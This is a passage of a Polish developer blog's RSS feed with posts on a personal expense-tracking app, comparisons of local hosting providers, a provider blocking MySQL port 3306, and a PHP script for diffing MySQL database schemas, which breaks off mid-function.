<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>nobigwords.ntxt.net &#187; PHP</title>
	<atom:link href="http://nobigwords.ntxt.net/tematy/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://nobigwords.ntxt.net</link>
	<description>not too big words not only about web</description>
	<lastBuildDate>Fri, 20 Aug 2010 07:35:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Portfel Selfcontrol</title>
		<link>http://nobigwords.ntxt.net/2010/08/19/portfel-selfcontrol/</link>
		<comments>http://nobigwords.ntxt.net/2010/08/19/portfel-selfcontrol/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 09:28:46 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[actionscript]]></category>
		<category><![CDATA[flex]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[budżet domowy]]></category>
		<category><![CDATA[kontrola finansów]]></category>
		<category><![CDATA[planowanie]]></category>
		<category><![CDATA[płatności]]></category>
		<category><![CDATA[wydatki]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=293</guid>
		<description><![CDATA[Walcząc ze stereotypem szewca, co bez butów, napisałem sobie (nam) w AIR aplikację do kontrolowania wydatków. Zapisujemy sobie serie i pojedyncze płatności, korzystając z bazy na serwerze. Mamy siatkę roczną, na której sygnalizowane są zaległości i listę z podsumowaniem. Na liście możemy wyświetlić niemal dowolny podzbiór płatności i obejrzeć go na wykresach. No Tag]]></description>
			<content:encoded><![CDATA[<p>Walcząc ze stereotypem szewca, co bez butów, napisałem sobie (nam) w AIR aplikację do kontrolowania wydatków. Zapisujemy sobie serie i pojedyncze płatności, korzystając z bazy na serwerze. Mamy siatkę roczną, na której sygnalizowane są zaległości i listę z podsumowaniem. Na liście możemy wyświetlić niemal dowolny podzbiór płatności i obejrzeć go na wykresach.</p>
<div id="attachment_294" class="wp-caption aligncenter" style="width: 610px"><a href="http://nobigwords.ntxt.net/wp-content/uploads/2010/08/finanse.jpg"><img src="http://nobigwords.ntxt.net/wp-content/uploads/2010/08/finanse.jpg" alt="Fragment siatki rocznej" title="finanse" width="600" height="345" class="size-full wp-image-294" /></a><p class="wp-caption-text">Płatności miesiącami</p></div>
<div id="attachment_295" class="wp-caption aligncenter" style="width: 610px"><a href="http://nobigwords.ntxt.net/wp-content/uploads/2010/08/finanse2.jpg"><img src="http://nobigwords.ntxt.net/wp-content/uploads/2010/08/finanse2.jpg" alt="Zrzut ekranu z listą i wykresem" title="finanse2" width="600" height="338" class="size-full wp-image-295" /></a><p class="wp-caption-text">Kontrola wydatków przy pomocy Adobe AIR, PHP i MySQL</p></div>
No Tag]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2010/08/19/portfel-selfcontrol/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>hosting, porównanie subiektywne</title>
		<link>http://nobigwords.ntxt.net/2010/03/23/hosting-porownanie-subiektywne/</link>
		<comments>http://nobigwords.ntxt.net/2010/03/23/hosting-porownanie-subiektywne/#comments</comments>
		<pubDate>Tue, 23 Mar 2010 22:34:27 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[e-commerce]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[3306]]></category>
		<category><![CDATA[dmkproject.pl]]></category>
		<category><![CDATA[dostęp]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[home.pl]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[kei.pl]]></category>
		<category><![CDATA[nazwa.pl]]></category>
		<category><![CDATA[ograniczenia]]></category>
		<category><![CDATA[opinia]]></category>
		<category><![CDATA[poddomena]]></category>
		<category><![CDATA[porównanie hostingów]]></category>
		<category><![CDATA[serwery]]></category>
		<category><![CDATA[subdomena]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=268</guid>
		<description><![CDATA[Mam do czynienia z home.pl, kei.pl, nazwa.pl i dmkproject.pl. Każda z tych firm ma swoje zalety i upierdliwości, o których ciężko przeczytać na stronach z ofertą. Nie mam zamiaru porównywać po kolei każdego parametru, to ma być tylko lista rzeczy, które zauważyłem przy specyficznych okazjach. Pewnie jeszcze nie raz będę edytował tego posta, na razie [...]]]></description>
			<content:encoded><![CDATA[<p>Mam do czynienia z <a title="strona home.pl" href="http://home.pl" target="_blank">home.pl</a>, <a title="strona kei.pl" href="http://kei.pl" target="_blank">kei.pl</a>, <a title="strona nazwa.pl" href="http://nazwa.pl" target="_blank">nazwa.pl</a> i <a title="strona DMK Project" href="http://dmkproject.pl" target="_blank">dmkproject.pl</a>. Każda z tych firm ma swoje zalety i upierdliwości, o których ciężko przeczytać na stronach z ofertą. Nie mam zamiaru porównywać po kolei każdego parametru, to ma być tylko lista rzeczy, które zauważyłem przy specyficznych okazjach. Pewnie jeszcze nie raz będę edytował tego posta, na razie kilka drobiazgów. Gdyby coś się zmieniło, albo jeśli wiesz o podobnych sprawach, będę wdzięczny za info w komentarzu albo e-mailu.</p>
<h2>kei.pl</h2>
<ul>
<li>Ma opcję dodania subdomeny przekierowanej na dowolne publiczne IP. Mnie przydało się to do postawienia hostów deweloperskich pod domeną główną (hosting Kei), ale na innej maszynie (Internet DSL TP SA).</li>
<li>Dziwny limit liczby plików. Nie pamiętam dokładnie jaki, ale konto, niezależnie od pojemności w GB, transferu, mieści tylko określoną liczbę plików. Potem przestaje przyjmować je na FTP, sygnalizując błędy. Ograniczenie to nie jest nigdzie opisane, można dowiedzieć się o nim z infolinii, albo ? co bardziej bolesne ? kopiując serwis bogaty w obrazki&#8230;</li>
<li>Fajna rzecz: możliwość bezpośredniego połączenia się przez port 3306 z serwerem MySQL, bez pośrednictwa PhpMyAdmin (jest również).</li>
</ul>
<h2>home.pl</h2>
<ul>
<li>Nazwy skrzynek pocztowych dotyczą wszystkich domen w ramach konta. Np. mając domenę <em>sklep.pl</em> i <em>biuro.com</em> na jednym koncie home.pl, pocztę nadaną na <em>info@sklep.pl</em> mogę odebrać równie dobrze pod <em>info@biuro.com</em>. To nie musi być problem, ale może.</li>
<li>Limit liczby plików również się pojawia, a wynosi 500 000. Jednak tu wcześniej otrzymujemy maila z ostrzeżeniem i prośbą o &#8216;uporządkowanie&#8217;. Jest też oferta serwera dedykowanego, co wydaje się na miejscu. Jedno, co mi się nie podoba, to powołanie się na ogólny punkt regulaminu zamiast określenie tego jasno w umowie: <i>&#8220;Zwracamy uwagę, że regulamin home.pl w punkcie 16 określa, iż<br />
korzystanie z serwera współdzielonego nie może naruszać integralności<br />
systemu informatycznego home.pl, co w tym przypadku może mieć miejsce.&#8221;</i><small> cytat z maila od home.pl, 2010-03-25</small></li>
</ul>
No Tag]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2010/03/23/hosting-porownanie-subiektywne/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>polityka bezpieczeństwa home.pl</title>
		<link>http://nobigwords.ntxt.net/2010/02/08/polityka-bezpieczenstwa-homepl/</link>
		<comments>http://nobigwords.ntxt.net/2010/02/08/polityka-bezpieczenstwa-homepl/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 21:29:44 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[3306]]></category>
		<category><![CDATA[baza danych]]></category>
		<category><![CDATA[home.pl]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[połączenie]]></category>
		<category><![CDATA[port 3306]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[zablokowany]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=266</guid>
		<description><![CDATA[Robiąc &#8220;w internecie&#8221; spotyka się człowiek z hostingiem. No karma taka, nie da się bez hostingu żyć i kropka. Przeżyłem więc już doświadczenia z DMKProject (było fajne, ale wyniosło się do USA i ma długi czas pinga), z nazwa.pl (jedno konto FTP), kei.pl (straszny panel administracyjny), wreszcie home.pl (nie można mieć dwóch osobnych skrzynek pocztowych [...]]]></description>
			<content:encoded><![CDATA[<p>Robiąc &#8220;w internecie&#8221; spotyka się człowiek z hostingiem. No karma taka, nie da się bez hostingu żyć i kropka. Przeżyłem więc już doświadczenia z DMKProject (było fajne, ale wyniosło się do USA i ma długi czas pinga), z nazwa.pl (jedno konto FTP), kei.pl (straszny panel administracyjny), wreszcie home.pl (nie można mieć dwóch osobnych skrzynek pocztowych o tej samej nazwie &#8211; np. biuro@ &#8211; w obrębie jednego konta dla dwóch domen). Każda z tych ofert ma swoje wady i zalety. Zalety są w sumie podobne &#8211; każda z nich zwykle szybko, fachowo i pozytywnie reagowała na moje pytania i prośby. Jednak ostatnio home.pl trochę mnie zdziwiło.</p>
<p>Dla jednej ze stron potrzebowaliśmy połączenia bezpośredniego dla MySQL, na porcie 3306, do synchronizacji bazy z lokalną w biurze. Działało. Aż pewnego dnia admin home.pl stwierdził duży ruch na tym porcie z naszego adresu. Zablokował więc ten ruch &#8220;ze względów bezpieczeństwa&#8221;. Co ciekawe, nadal można się połączyć z dowolnego innego IP. Z mojego punktu widzenia zablokowany został adres najbardziej uprawniony do generowania ruchu, a pozostawiono otwarte połączenie z resztą świata, pełną złoczyńców i pedofilów&#8230; ;-) Teraz więc synchronizacja odbywa się z laptopa przez neostradę, a sens operacji pozostaje dla mnie tajemnicą.</p>
No Tag]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2010/02/08/polityka-bezpieczenstwa-homepl/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>porównywanie baz MySQL w PHP</title>
		<link>http://nobigwords.ntxt.net/2009/09/26/porownywanie-baz-mysql-w-php/</link>
		<comments>http://nobigwords.ntxt.net/2009/09/26/porownywanie-baz-mysql-w-php/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 18:26:32 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[compare]]></category>
		<category><![CDATA[compare database]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database diff]]></category>
		<category><![CDATA[dbdiff]]></category>
		<category><![CDATA[diff]]></category>
		<category><![CDATA[programowanie]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[synchronizacja]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=264</guid>
		<description><![CDATA[Często przy pracy nad aplikacjami z bazą SQL zdarza się sytuacja, kiedy baza &#8216;deweloperska&#8217; uległa nieudokumentowanym dokładnie zmianom, i wreszcie trzeba je wdrożyć w wersji produkcyjnej. Oczywiście lepiej byłoby prowadzić dziennik zmian :) Kiedy jednak już jest za późno, przydaje się poniższy skrypt do porównywania baz. Wychwytuje on różnice na poziomie definicji tabel i pól, [...]]]></description>
			<content:encoded><![CDATA[<p>Często przy pracy nad aplikacjami z bazą SQL zdarza się sytuacja, kiedy baza &#8216;deweloperska&#8217; uległa nieudokumentowanym dokładnie zmianom, i wreszcie trzeba je wdrożyć w wersji produkcyjnej. Oczywiście lepiej byłoby prowadzić dziennik zmian :) Kiedy jednak już jest za późno, przydaje się poniższy skrypt do porównywania baz. Wychwytuje on różnice na poziomie definicji tabel i pól, proponując stosowne polecenia typu CREATE, ALTER, itp. Propozycje te nie są doskonałe, trzeba zwracać uwagę zwłaszcza na klucze i wartości domyślne, ale na pewno ułatwia synchronizację.</p>
<p>Skrypt napisany na podstawie <a href="http://adamyoung.net/MySQL-Database-Diff-Script">MySQL Database Diff Script</a>, ale znacznie rozszerzony i zmodyfikowany. Enjoy! :)</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>html<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>head<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>style<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">.</span>deleted<span style="color: #009900;">&#123;</span>
	text<span style="color: #339933;">-</span>decoration<span style="color: #339933;">:</span>line<span style="color: #339933;">-</span>through<span style="color: #339933;">;</span>
	color<span style="color: #339933;">:</span>red<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">.</span>added<span style="color: #009900;">&#123;</span>
	color<span style="color: #339933;">:</span>green<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">&lt;/</span>style<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>head<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>body<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span> ?php
<span style="color: #009933; font-style: italic;">/**
 * original by Adam Young http://adamyoung.net/
 * modified and extended 2009-09-26 by ptrk http://nobigwords.ntxt.net/ 
 * 
 */</span>
<span style="color: #000088;">$src_host</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$src_user</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$src_pass</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$src_db</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'baza32_superskl_emisja'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$dst_host</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dst_user</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dst_pass</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dst_db</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'baza32_superskl'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$src</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$src_host</span><span style="color: #339933;">,</span> <span style="color: #000088;">$src_user</span><span style="color: #339933;">,</span> <span style="color: #000088;">$src_pass</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$src_db</span><span style="color: #339933;">,</span> <span style="color: #000088;">$src</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Could not find/USE source database: <span style="color: #006699; font-weight: bold;">{$src_db}</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$src_tables</span> <span style="color: #339933;">=</span> getTables<span style="color: #009900;">&#40;</span><span style="color: #000088;">$src</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #000088;">$dst</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_host</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst_user</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst_pass</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_db</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Could not find/USE destination database: <span style="color: #006699; font-weight: bold;">{$dst_db}</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$dst_tables</span> <span style="color: #339933;">=</span> getTables<span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$src_tables</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$t</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$table</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$found</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$dst_table</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$dst_tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$diff</span> <span style="color: #339933;">=</span> compareDefinitions<span style="color: #009900;">&#40;</span><span style="color: #000088;">$table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">definition</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst_table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">definition</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$diff</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$table-&gt;name}</span>&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;b&gt;<span style="color: #006699; font-weight: bold;">{$table-&gt;name}</span> is different&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$alters</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$diff</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$col</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;li&gt;<span style="color: #006699; font-weight: bold;">$col</span> : &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/li&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #000088;">$alters</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;alter table `&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$dst_table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;` &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;/ul&gt;'</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;gt;pre&amp;lt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$alters</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; &amp;gt;/pre&amp;lt;&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$found</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;span class='deleted'&gt;<span style="color: #006699; font-weight: bold;">{$table-&gt;name}</span> &lt;/span&gt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;gt;pre&amp;lt;<span style="color: #006699; font-weight: bold;">{$table-&gt;create}</span>&amp;gt;/pre&amp;lt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> getTables<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$rsrc</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SHOW TABLES'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$tables</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_row</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rsrc</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$table</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> table<span style="color: #009900;">&#40;</span>
			<span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>
			getTableDef<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
			getTableCreate<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$table</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$tables</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> getTableDef<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$table</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$rsrc</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;DESCRIBE `<span style="color: #006699; font-weight: bold;">{$table}</span>`&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_row</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rsrc</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$type</span><span style="color: #339933;">,</span> <span style="color: #000088;">$null</span><span style="color: #339933;">,</span> <span style="color: #000088;">$key</span><span style="color: #339933;">,</span> <span style="color: #000088;">$default</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extra</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$row</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$name</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$type</span><span style="color: #339933;">,</span> <span style="color: #000088;">$null</span><span style="color: #339933;">,</span> <span style="color: #000088;">$key</span><span style="color: #339933;">,</span> <span style="color: #000088;">$default</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extra</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> getTableCreate<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$table</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$rsrc</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SHOW CREATE TABLE `<span style="color: #006699; font-weight: bold;">{$table}</span>`&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_row</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rsrc</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
